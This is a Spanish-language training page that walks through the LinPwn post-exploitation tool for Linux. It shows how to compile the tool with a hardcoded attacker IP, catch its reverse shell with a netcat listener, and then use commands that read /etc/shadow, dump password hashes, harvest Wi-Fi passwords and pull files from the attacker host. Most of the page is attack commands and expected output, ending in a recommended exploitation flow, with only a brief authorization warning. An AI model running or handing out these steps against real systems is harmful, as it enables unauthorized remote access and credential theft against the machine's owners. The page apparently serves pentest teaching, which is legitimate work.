GhostAcademy logo GhostAcademy
🐧 Post-Explotación · Privilege Escalation
LinPwn
// Herramienta interactiva de post-explotación para Linux

Utilidad de post-explotación que establece una reverse shell desde la máquina objetivo y ofrece comandos internos para enumeración y escalada de privilegios en sistemas Linux.

Post-explotación Privilege escalation Reverse shell C++ · g++ LinEnum.sh
i
¿Qué es LinPwn?
Herramienta de post-explotación para enumeración y escalada de privilegios

LinPwn es una herramienta interactiva de post-explotación diseñada para la fase de enumeración y escalada de privilegios en sistemas Linux, una vez que ya se ha obtenido acceso inicial a una máquina objetivo.

Funciona estableciendo una conexión de shell inversa (reverse shell) desde la máquina objetivo hacia la máquina atacante, y ofrece una interfaz CLI propia con comandos especializados.

🖥️ Atacante
nc -lvp 4444
←
🔗 Reverse Shell
TCP conexión
←
⚙️ LinPwn
./LinPwn
←
🎯 Objetivo
máquina comprometida
💻
CLI Interactiva
Interfaz de línea de comandos propia con prompt (LinPwn) > y comandos internos.
🐚
Shell Inversa
Establece una conexión TCP desde la víctima al atacante. Se recibe con netcat (nc -lvp).
🔍
Enumeración
Ejecuta LinEnum.sh automáticamente para recopilar información detallada del sistema.
⚙️
Escrito en C++
Necesita compilarse con g++ antes de usarse. El script build.sh simplifica el proceso.

Comandos Internos de LinPwn

ComandoDescripción
shell Ejecuta /bin/sh en el sistema objetivo — abre una shell interactiva completa para ejecutar comandos del sistema. Salir con exit vuelve al prompt de LinPwn.
readfile Imprime el contenido de un archivo especificado. Útil para leer /etc/passwd, /etc/shadow u otros archivos sensibles.
enumerate Ejecuta el script LinEnum.sh — herramienta popular de enumeración de Linux que recopila información detallada del sistema: SUID, capabilities, cron jobs, sudo, etc.
download Descarga un archivo en la máquina objetivo desde una URL. Permite transferir herramientas adicionales al objetivo.
wificredz Intenta recopilar las contraseñas guardadas de redes Wi-Fi del sistema objetivo.
hashdump Recopila los hashes de contraseñas del sistema. Útil para ataques offline de cracking posterior.
2
Instalación (Compilación)
LinPwn está en C++ — necesita compilarse antes de usarse

Paso 2.1 — Clonar el Repositorio

1
Clonar el código fuente en la máquina atacante
bash
git clone https://github.com/Andromeda1957/LinPwn.git
cd LinPwn

Paso 2.2 — Compilar el Binario

El repositorio incluye un script build.sh que simplifica la compilación. Necesitas g++ instalado — en Kali Linux ya está disponible por defecto.

1
Ver opciones del script de compilación
bash
bash build.sh
image1.png

// Opciones disponibles del script build.sh

2
Compilar con configuración por defecto
bash
bash build.sh --default
image2.png

// Compilación exitosa con bash build.sh --default generando el binario LinPwn

ℹ️ Requisito: Necesitas un compilador de C++ (g++) instalado. En Kali Linux ya está disponible. En otros sistemas: sudo apt install g++
3
Proceso de Ejecución
Configurar, compilar y establecer la reverse shell

Paso 3.1 — Configurar IP y Puerto en el Código Fuente

⚠️ Orden importante: Este paso debe realizarse ANTES de compilar. El binario resultante tendrá la IP y puerto hardcodeados. Si cambias la IP, debes volver a compilar.
1
Editar el archivo fuente LinPwn.cc
bash
nano LinPwn.cc   # o vim / gedit
2
Buscar la clase Connection y establecer tu IP y puerto
LinPwn.cc — clase Connection
class Connection {
    string ip   = "192.168.1.XX";  // ← Tu IP de atacante
    int    port = 4444;             // ← Puerto de escucha
};
image3.png

// Clase Connection en LinPwn.cc con IP y puerto a configurar

image4.png

// Detalle de los campos IP y puerto en el código fuente

3
Volver al paso 2.2 y recompilar con la nueva configuración
bash
bash build.sh --default

Paso 3.2 — Configurar el Listener (Máquina Atacante)

🖥️MÁQUINA ATACANTE (Ubuntu/Kali)
Abre un listener con netcat en el mismo puerto que configuraste en el código fuente. Espera la conexión entrante del objetivo.
🎯MÁQUINA OBJETIVO (víctima)
Aquí se ejecutará el binario LinPwn compilado. Al ejecutarse, se conectará a tu listener automáticamente.
bash — máquina atacante
nc -lvp 4444   # Reemplaza 4444 con tu puerto configurado
image5.png

// Netcat en escucha en el puerto 4444, esperando conexión entrante

Paso 3.3 — Ejecutar LinPwn en la Máquina Objetivo

Una vez que el listener está activo, transfiere el binario LinPwn a la máquina objetivo y ejecútalo:

1
Dar permisos de ejecución al binario
bash — máquina objetivo
chmod +x LinPwn
2
Ejecutar el binario (requiere sudo para algunas funciones)
bash — máquina objetivo
sudo ./LinPwn
image6.png

// Ejecución de LinPwn en la máquina objetivo — estableciendo conexión al listener

Paso 3.4 — Usar LinPwn (Máquina Atacante)

Si la conexión se establece con éxito, en la terminal de netcat aparecerá el prompt interactivo de LinPwn:

LinPwn — prompt interactivo
Connection received!

(LinPwn) > help
(LinPwn) > readfile /etc/passwd
(LinPwn) > hashdump
(LinPwn) > wificredz
(LinPwn) > download http://192.168.1.XX/tool.sh
image7.png

// Prompt interactivo de LinPwn en la terminal de netcat tras la conexión exitosa

★
Uso Avanzado
Comandos de enumeración y shell interactiva

Comando: enumerate

El comando enumerate ejecuta automáticamente LinEnum.sh en la máquina objetivo y muestra su output en la terminal del atacante. LinEnum.sh recopila:

Información del sistema · Usuarios y grupos · Binarios SUID/SGID · Capabilities · Tareas cron · Configuración sudo · Servicios corriendo · Contraseñas en texto plano · Versiones de software vulnerable · y mucho más.

LinPwn
(LinPwn) > enumerate
image8.png

// Salida del comando enumerate ejecutando LinEnum.sh en la máquina objetivo

Comando: shell

El comando shell abre una sesión /bin/sh interactiva completa en la máquina objetivo. Cambia el prompt a (LinPwn: Shell) > para indicar que estás en modo shell.

LinPwn — modo shell
(LinPwn) > shell

(LinPwn: Shell) > id
uid=0(root) gid=0(root) groups=0(root)

(LinPwn: Shell) > whoami
root

(LinPwn: Shell) > cat /etc/shadow

(LinPwn: Shell) > exit   # Vuelve al prompt de LinPwn
(LinPwn) > 
image9.png

// Modo shell interactivo de LinPwn con comandos id y whoami ejecutados

✅ Flujo recomendado: enumerate primero para obtener un mapa completo del sistema → identificar vectores de escalada → usar shell para explotar los vectores encontrados → hashdump para extraer credenciales.
⚠️ Uso ético: LinPwn es una herramienta de pentesting. Úsala únicamente en sistemas sobre los que tengas autorización explícita. El uso no autorizado es ilegal.